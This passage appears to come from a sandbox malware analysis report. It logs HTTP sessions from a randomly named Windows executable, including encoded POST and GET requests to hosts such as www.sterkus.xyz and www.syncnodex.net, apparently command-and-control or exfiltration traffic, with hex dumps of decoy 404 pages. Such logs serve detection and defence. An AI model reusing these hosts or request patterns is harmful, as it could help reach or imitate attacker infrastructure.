                                                                                                                                                                    Data Ascii: > <li class="breadcrumb-item"><a href="#">Pages</a></li> <li class="breadcrumb-item text-body active" aria-current="page">404 Error</li> </ol>
                                                                                                                                                                    Oct 25, 2024 16:28:35.735683918 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 22 3e 50 72 6f 70 65 72 74 79 20 54 79 70 65 20 31 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: <option value="1">Property Type 1</option> <option value="2">Property Type 2</option> <option value="3">Property Type 3</option>
                                                                                                                                                                    Oct 25, 2024 16:28:35.735723972 CEST1236INData Raw: 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 6a 75 73 74 69 66 79 2d 63
                                                                                                                                                                    Data Ascii: <div class="container text-center"> <div class="row justify-content-center"> <div class="col-lg-6"> <i class="bi bi-exclamation-triangle display-1 text-primary"></i>
                                                                                                                                                                    Oct 25, 2024 16:28:35.735831022 CEST1236INData Raw: 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 70 68 6f 6e 65 2d 61 6c 74 20 6d 65 2d 33 22 3e 3c 2f 69 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c
                                                                                                                                                                    Data Ascii: ><i class="fa fa-phone-alt me-3"></i>+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2"> <a class="
                                                                                                                                                                    Oct 25, 2024 16:28:35.735865116 CEST1236INData Raw: 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 6c 69 6e 6b 20 74 65 78 74 2d 77 68 69 74 65 2d 35 30 22 20 68 72 65 66 3d 22 22 3e 54 65 72 6d 73 20 26 20 43 6f 6e 64 69 74 69 6f 6e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: ass="btn btn-link text-white-50" href="">Terms & Condition</a> </div> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Photo Gallery</h5> <d
                                                                                                                                                                    Oct 25, 2024 16:28:35.735899925 CEST1236INData Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: </div> <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-6.jpg" alt=""> </div> </div>
                                                                                                                                                                    Oct 25, 2024 16:28:35.741220951 CEST1236INData Raw: 20 52 65 73 65 72 76 65 64 2e 20 0d 0a 09 09 09 09 09 09 09 0d 0a 09 09 09 09 09 09 09 3c 21 2d 2d 2f 2a 2a 2a 20 54 68 69 73 20 74 65 6d 70 6c 61 74 65 20 69 73 20 66 72 65 65 20 61 73 20 6c 6f 6e 67 20 61 73 20 79 6f 75 20 6b 65 65 70 20 74 68
                                                                                                                                                                    Data Ascii: Reserved. .../*** This template is free as long as you keep the footer authors credit link/attribution link/backlink. If you'd like to use the template without the footer authors credit link/attribution link/backlink,


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    15192.168.2.562202209.74.95.29802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:37.581739902 CEST1715OUTPOST /ha8h/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.sterkus.xyz
                                                                                                                                                                    Origin: http://www.sterkus.xyz
                                                                                                                                                                    Referer: http://www.sterkus.xyz/ha8h/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 43 5a 5a 67 5a 38 77 52 47 7a 33 68 5a 4e 46 41 70 76 51 59 67 46 2b 76 61 50 45 64 58 4a 59 52 58 6f 34 34 62 66 4d 58 36 43 69 6f 69 2f 78 35 78 7a 72 52 4c 41 76 48 53 49 4f 34 72 69 68 70 67 6f 68 6d 47 39 33 64 35 38 31 50 58 6e 57 43 46 77 37 70 78 77 59 65 70 6a 79 62 46 4c 46 74 72 73 45 62 46 50 6b 47 33 54 46 6f 56 31 57 6e 63 67 4d 43 2b 71 51 55 4f 72 37 7a 73 6e 44 52 54 6b 79 45 35 6a 2f 4c 63 53 79 72 62 41 57 2f 4b 38 41 69 64 32 2f 4d 6c 43 67 2b 43 4a 39 5a 72 74 68 38 79 78 79 61 4d 51 50 31 36 75 76 32 44 71 64 65 47 70 63 70 71 58 78 32 56 39 65 54 72 6d 5a 76 44 33 59 79 76 35 55 37 2f 71 55 51 67 4b 6a 53 41 59 4c 4e 6a 64 36 43 67 33 77 71 4b 4e 6d 72 2f 68 64 57 71 54 71 47 42 68 50 33 72 66 4d 5a 75 55 73 71 69 6b 41 68 75 44 54 62 41 6f 32 72 77 44 4d 73 58 73 61 75 69 71 59 71 53 6b 34 2f 52 51 76 6b 5a 68 6b 6e 58 4b 39 72 36 43 73 62 79 64 79 65 33 58 61 53 59 66 2b 55 65 50 66 32 75 56 6a 39 75 2f 38 55 37 33 59 55 65 5a 76 72 57 6f 46 46 69 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=CZZgZ8wRGz3hZNFApvQYgF+vaPEdXJYRXo44bfMX6Cioi/x5xzrRLAvHSIO4rihpgohmG93d581PXnWCFw7pxwYepjybFLFtrsEbFPkG3TFoV1WncgMC+qQUOr7zsnDRTkyE5j/LcSyrbAW/K8Aid2/MlCg+CJ9Zrth8yxyaMQP16uv2DqdeGpcpqXx2V9eTrmZvD3Yyv5U7/qUQgKjSAYLNjd6Cg3wqKNmr/hdWqTqGBhP3rfMZuUsqikAhuDTbAo2rwDMsXsauiqYqSk4/RQvkZhknXK9r6Csbydye3XaSYf+UePf2uVj9u/8U73YUeZvrWoFFiWdFA2nTIzObKfST8xZ6wjDcUZjRxQRrRGDQoxdPfSgLtV/6tKxPqLaGVvY2fi/yEOBVvyViEqZi1pEbKkGZlQwXuL8uZpiW9MXXa1MVdu18E0L/wD8PgVbK2T8W4jERZtaiOpneHjYqybhYRMcR7XWrq+kEf1paQN6w465dToYO53+qwMhj0pYCouKhBr2Dy/s5ONEKRIDZ3DMzT760iO6kTdW7w+Yp4sYWd+rWmJx+Db4YWdGimWzFeu3vccNCp9aetCfpIf/pkXBvVCc5eZWvA5zdIrPB2rR1+lv0YufzyOWm1mYn9FSWEaqj0h2zsg0WKr5CeYChlplEfbjUe2l0f/uszD4cOE9d7IEh8tcrAeb+CrT21K4IbY5nnlx59bKQik5nutQOe9g1lZaIB+EkgOuz1wWRAUBG9yyJySDIuKDyWy1o1MvW94aEOooGLnn7N40gI9lxLZHmsMvh20tkljBPrihoT7Vwr2GK1+wx9ahjKwH2iajprZb4XHaMLGJ0Z3TQ7kCjA2Gv40bjmXl+25hssd+d3545mWLyQVItITPfUewOmx3HhfK9e2yPfI4DQ+Ka/Z8pZW74EFGM9VL3mlJYsvy2FFlKbKj4k6UbIlxht3ld07bifeNvNWK25WLccS1ZjSr6xE69/zLox5uakMVH6xcXdZp [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:28:38.253921032 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:28:38 GMT
                                                                                                                                                                    Server: Apache
                                                                                                                                                                    Content-Length: 13928
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:28:38.253937960 CEST1236INData Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65
                                                                                                                                                                    Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
                                                                                                                                                                    Oct 25, 2024 16:28:38.253950119 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61
                                                                                                                                                                    Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
                                                                                                                                                                    Oct 25, 2024 16:28:38.254045963 CEST636INData Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20
                                                                                                                                                                    Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
                                                                                                                                                                    Oct 25, 2024 16:28:38.254060030 CEST1236INData Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6e 61 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 4e 61 76 62 61 72 20 45 6e 64 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20
                                                                                                                                                                    Data Ascii: </div> </nav> </div> ... Navbar End --> ... Header Start --> <div class="container-fluid header bg-white p-0"> <div class="row g-0 align-items-center flex-column-reverse flex-
                                                                                                                                                                    Oct 25, 2024 16:28:38.254070997 CEST212INData Raw: 70 78 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 67 2d 32 22 3e 0d
                                                                                                                                                                    Data Ascii: px;"> <div class="container"> <div class="row g-2"> <div class="col-md-10"> <div class="row g-2"> <div clas
                                                                                                                                                                    Oct 25, 2024 16:28:38.254126072 CEST1236INData Raw: 73 3d 22 63 6f 6c 2d 6d 64 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74
                                                                                                                                                                    Data Ascii: s="col-md-4"> <input type="text" class="form-control border-0 py-3" placeholder="Search Keyword"> </div> <div class="col-md-4">
                                                                                                                                                                    Oct 25, 2024 16:28:38.254137993 CEST212INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: </div> <div class="col-md-2"> <button class="btn btn-dark border-0 w-100 py-3">Search</button> </div> </div>
                                                                                                                                                                    Oct 25, 2024 16:28:38.254149914 CEST1236INData Raw: 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 65 61 72 63 68 20 45 6e 64 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 34 30 34 20 53 74
                                                                                                                                                                    Data Ascii: </div> </div> ... Search End --> ... 404 Start --> <div class="container-xxl py-5 wow fadeInUp" data-wow-delay="0.1s"> <div class="container text-center"> <div class
                                                                                                                                                                    Oct 25, 2024 16:28:38.254245043 CEST212INData Raw: 6d 62 2d 34 22 3e 47 65 74 20 49 6e 20 54 6f 75 63 68 3c 2f 68 35 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 6d
                                                                                                                                                                    Data Ascii: mb-4">Get In Touch</h5> <p class="mb-2"><i class="fa fa-map-marker-alt me-3"></i>123 Street, New York, USA</p> <p class="mb-2"><i class="fa fa-phone-alt me-3"></i
                                                                                                                                                                    Oct 25, 2024 16:28:38.259386063 CEST1236INData Raw: 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 65 6e 76 65 6c
                                                                                                                                                                    Data Ascii: >+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2"> <a class="btn btn-outline-light btn-social" hr


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    16192.168.2.562203209.74.95.29802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:40.121041059 CEST424OUTGET /ha8h/?EjY0i=xfOdKrMPu&tD38rnpX=PbxAaK8rSTbGZ+BUjIA4k1uuUYM0d40nW5ERHNgbkCm+3sg74DzBCze1WsCQlDZBoOF+IY6Xn812UFXfTFX642MIvS6XErww1P8sJLsEqVRWe1KmIBRKh60xF4W7tUSWJA== HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.sterkus.xyz
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:28:40.803422928 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:28:40 GMT
                                                                                                                                                                    Server: Apache
                                                                                                                                                                    Content-Length: 13928
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:28:40.803440094 CEST212INData Raw: 61 72 6f 75 73 65 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e
                                                                                                                                                                    Data Ascii: arousel.min.css" rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel
                                                                                                                                                                    Oct 25, 2024 16:28:40.803457022 CEST1236INData Raw: 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 78 78 6c 20 62 67 2d 77 68 69 74 65 20 70 2d 30 22 3e 0d 0a 20
                                                                                                                                                                    Data Ascii: ="stylesheet"></head><body> <div class="container-xxl bg-white p-0"> ... Spinner Start --> <div id="spinner" class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-cen
                                                                                                                                                                    Oct 25, 2024 16:28:40.803553104 CEST1236INData Raw: 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 6c 61 70 73 65 20 6e 61 76 62 61 72 2d 63 6f 6c 6c
                                                                                                                                                                    Data Ascii: span> </button> <div class="collapse navbar-collapse" id="navbarCollapse"> <div class="navbar-nav ms-auto"> <a href="index.html" class="nav-item nav-link">Home</a>
                                                                                                                                                                    Oct 25, 2024 16:28:40.803569078 CEST1236INData Raw: 6f 6e 69 61 6c 2e 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 3e 54 65 73 74 69 6d 6f 6e 69 61 6c 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: onial.html" class="dropdown-item">Testimonial</a> <a href="404.html" class="dropdown-item active">404 Error</a> </div> </div> <a hr
                                                                                                                                                                    Oct 25, 2024 16:28:40.803586960 CEST636INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6f 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6e 61 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a
                                                                                                                                                                    Data Ascii: </ol> </nav> </div> <div class="col-md-6 animated fadeIn"> <img class="img-fluid" src="img/header.jpg" alt=""> </div>
                                                                                                                                                                    Oct 25, 2024 16:28:40.803685904 CEST1236INData Raw: 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 63
                                                                                                                                                                    Data Ascii: <div class="col-md-4"> <input type="text" class="form-control border-0 py-3" placeholder="Search Keyword"> </div> <div class="col-md-4">
                                                                                                                                                                    Oct 25, 2024 16:28:40.803792953 CEST1236INData Raw: 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 22 3e 0d 0a 20 20 20
                                                                                                                                                                    Data Ascii: /div> </div> <div class="col-md-2"> <button class="btn btn-dark border-0 w-100 py-3">Search</button> </div> </div> </div>
                                                                                                                                                                    Oct 25, 2024 16:28:40.803808928 CEST424INData Raw: 20 70 74 2d 35 20 6d 74 2d 35 20 77 6f 77 20 66 61 64 65 49 6e 22 20 64 61 74 61 2d 77 6f 77 2d 64 65 6c 61 79 3d 22 30 2e 31 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 70
                                                                                                                                                                    Data Ascii: pt-5 mt-5 wow fadeIn" data-wow-delay="0.1s"> <div class="container py-5"> <div class="row g-5"> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Get In Tou
                                                                                                                                                                    Oct 25, 2024 16:28:40.803824902 CEST1236INData Raw: 65 2d 61 6c 74 20 6d 65 2d 33 22 3e 3c 2f 69 3e 2b 30 31 32 20 33 34 35 20 36 37 38 39 30 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 32 22 3e 3c 69 20 63 6c 61
                                                                                                                                                                    Data Ascii: e-alt me-3"></i>+012 345 67890</p> <p class="mb-2"><i class="fa fa-envelope me-3"></i>info@example.com</p> <div class="d-flex pt-2"> <a class="btn btn-outline-light
                                                                                                                                                                    Oct 25, 2024 16:28:40.809211016 CEST1236INData Raw: 74 2d 77 68 69 74 65 2d 35 30 22 20 68 72 65 66 3d 22 22 3e 54 65 72 6d 73 20 26 20 43 6f 6e 64 69 74 69 6f 6e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: t-white-50" href="">Terms & Condition</a> </div> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Photo Gallery</h5> <div class="row g-2 pt-


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    17192.168.2.56220415.197.172.60802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:46.292784929 CEST684OUTPOST /xx1z/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.syncnodex.net
                                                                                                                                                                    Origin: http://www.syncnodex.net
                                                                                                                                                                    Referer: http://www.syncnodex.net/xx1z/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
